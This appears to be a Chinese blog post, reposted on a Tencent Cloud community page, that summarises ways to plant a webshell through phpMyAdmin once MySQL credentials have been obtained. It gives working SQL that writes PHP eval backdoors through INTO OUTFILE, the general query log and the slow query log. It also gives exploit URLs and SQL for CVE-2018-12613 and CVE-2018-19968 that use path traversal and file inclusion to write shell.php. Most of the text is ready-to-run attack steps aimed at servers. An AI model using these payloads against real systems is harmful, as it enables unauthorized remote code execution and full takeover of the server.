前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【WEB安全】PHPMyAdmin后台GetShell姿势总结

【WEB安全】PHPMyAdmin后台GetShell姿势总结

作者头像
李鹏华
发布2024-03-12 16:41:01
3850
发布2024-03-12 16:41:01
举报
文章被收录于专栏:网络信息安全
PHPMyAdmin后台GetShell姿势总结

前言:

phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。因其基于Web的简便易操作的图形化界面备受网站管理者的喜爱。

当我们通过其它各类手段获取到MySQL账户和密码,可以成功登录到phpMyAdmin的后台时,可以通过以下几种方式将webshell写入到目标机器中。

本地环境:

虚拟机windows7、php5.6.9、phpMyAdmin4.8.0

数据库文件导出写入

当数据库服务开启了文件导入导出功能时,使用select into outfile语句将webshell写入。

利用条件
  • 数据库root权限
  • 数据库字段secure_file_priv没有具体的值
  • 获得网站的绝对路径
利用方式

执行sql语句show global variables like '%secure%',查看数据库字段secure_file_priv的内容。该字段的内容无法通过sql语句修改,需要修改mysql配置文件my.ini

  • secure_file_priv=null 不允许文件的导入导出
  • secure_file_priv=xxx 文件导入导出到某路径
  • secure_file_priv= 文件可导入到任意路径

可以通过页面报错、php探针等手段获取到网站服务的绝对路径后,执行下面的sql语句即可将webshell写入。

代码语言:javascript
复制
select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/xxx/WWW/shell.php' 

当然也可以将webshell写入到表中的字段,通过将表导出为php文件来实现写入webshell。执行下面的sql语句即可。

代码语言:javascript
复制
CREATE TABLE hack.test( id text(500) not null); 
INSERT INTO hack.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); 
SELECT id FROM hack ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; 
DROP TABLE IF EXISTS test; 
数据库全局日志写入

将数据库全局日志保存为web目录下的php文件来实现webshell写入。

利用条件
  • 数据库root权限
  • 获得网站的绝对路径
利用方式

执行下面的sql语句查询MySQL是否开启了全局日志以及全局日志的存放位置。

代码语言:javascript
复制
SHOW VARIABLES LIKE '%general%' 

如果全局日志关闭,可以 通过set global_log = on打开全局日志功能。

修改或设置全局日志的保存目录为网站的web目录,并且日志保存为php文件。

代码语言:javascript
复制
set global log file = 'xxx/WWW/22.php'

设置好以后,我们执行的sql语句就会记录到上述设置的全局日志当中。只需要在sql语句中包含一句话木马即可。

代码语言:javascript
复制
select '<?php eval($_POST[shell]); ?>' 
数据库慢查询日志写入

慢日志查询:记录所有执行时间超过字段long_query_time规定时间的所有查询或者不使用索引的查询。默认情况下慢查询日志为关闭状态,long_query_time值为10秒。

利用条件
  • 数据库root权限
  • 获得网站绝对路径
利用方式

执行下面的sql语句查询数据库慢查询日志的配置情况

代码语言:javascript
复制
show variables like '%slow%' 

如果慢查询日志关闭,可以 通过set global slow_query_log=on;打开全局日志功能。

修改或设置慢查询日志的保存目录为网站的web目录,并且日志保存为php文件。

代码语言:javascript
复制
set global slow_query_log_file='xxx/WWW/slow.php' 

执行包含一句话的sql语句,并且使用sleep(10)来使得这个sql语句为一个慢查询语句,使其记录到慢查询日志中即可。

代码语言:javascript
复制
select '<?php @eval($_POST[shell]);?>' or sleep(10); 
CVE-2018-12613

受影响的phpMyAdmin版本:4.8.0/4.8.0.1/4.8.1

在上述版本的phpMyAdmin中,由于使用了urldecode()函数导致可以使用二次编码来绕过,由此产生了文件包含的问题。payload如下:

代码语言:javascript
复制
http://xx/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../etc/passwd
利用条件
  • 登录的phpmyadmin用户需要有创建表和执行sql语句的权限
利用方式

利用该漏洞需要为其提供一个可以包含的文件。因为mysql的表单都是以文件形式存储在计算机上,所以可以通过phpMyAdmin来创建一个数据表,其某字段为一句话木马。通过漏洞包含这个文件即可getshell。

执行下面的sql语句创建一个表,其中一字段为一句话木马。

代码语言:javascript
复制
CREATE TABLE `test`.`hack` (`<?php @eval($_GET['cmd']);?>` INT);

查询数据库表文件的存放位置,在windows中表文件的后缀为.frm,文件路径为date/数据库名/表名.frm

代码语言:javascript
复制
show variables like 'datadir'select @@datadir 

访问如下url即可在phpmyadmin的根目录中写入shell.php。

代码语言:javascript
复制
http://xx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/hack.frm&cmd=file_put_contents('shell.php','<?php @eval($_REQUEST[cmd])?>');
CVE-2018-19968

受影响的phpMyAdmin版本:4.8.0~4.8.3

在上述版本的phpMyAdmin中,在tbl_replace.php中,文件包含参数是和来自于表pma__column_info表中的input_transformation对应的值拼接而成的,而这个值是用户可控制的,由此引发了文件包含。

代码语言:javascript
复制
    if (!empty($mime_map[$column_name])            && !empty($mime_map[$column_name]['input_transformation'])        ) {        //可控参数拼接            $filename = 'libraries/classes/Plugins/Transformations/'                . $mime_map[$column_name]['input_transformation'];            if (is_file($filename)) {           //拼接参数后未进行过滤等操作                include_once $filename;                ......
利用条件
  • 登录的phpmyadmin用户需要有创建表和执行sql语句的权限
利用方式

创建数据库、表、字段

代码语言:javascript
复制
CREATE DATABASE test3;CREATE TABLE test3.flag ( flag int(10) );

访问下面的url,在数据库test3中生成phpMyAdmin的配置表,同时会生成pma

代码语言:javascript
复制
http://target.com/chk_rel.php?fixall_pmadb=1&db=test3

因为包含文件的参数来自pma__column_info表中的input_transformation对应的值。执行下面的sql语句向表中插入数据。其中db_name、table_name、column_name要和我们第一步中创建的表对应;input_transformation值为我们要包含的文件。这里我们包含的是字段为一句话木马的数据表文件。

代码语言:javascript
复制
INSERT INTO pma__column_info SELECT '1', 'test3', 'flag', 'flag', '1', '1', '1', '1', '../../../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test2/hacks.frm','1';

最后访问下面的url即可包含我们的一句话,同样这里的参数db、table、fields_name要和第一步中创建的表对应。这里为了更加直观包含的内容为phpinfo()

代码语言:javascript
复制
http://target.com/tbl_replace.php?db=test3&table=flag&where_clause=1=1&fields_name[multi_edit][][]=flag&clause_is_unique=1
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHPMyAdmin后台GetShell姿势总结
  • 前言:
  • 本地环境:
  • 数据库文件导出写入
    • 利用条件
      • 利用方式
      • 数据库全局日志写入
        • 利用条件
          • 利用方式
          • 数据库慢查询日志写入
            • 利用条件
              • 利用方式
              • CVE-2018-12613
                • 利用条件
                  • 利用方式
                  • CVE-2018-19968
                    • 利用条件
                      • 利用方式
                      相关产品与服务
                      云数据库 MySQL
                      腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档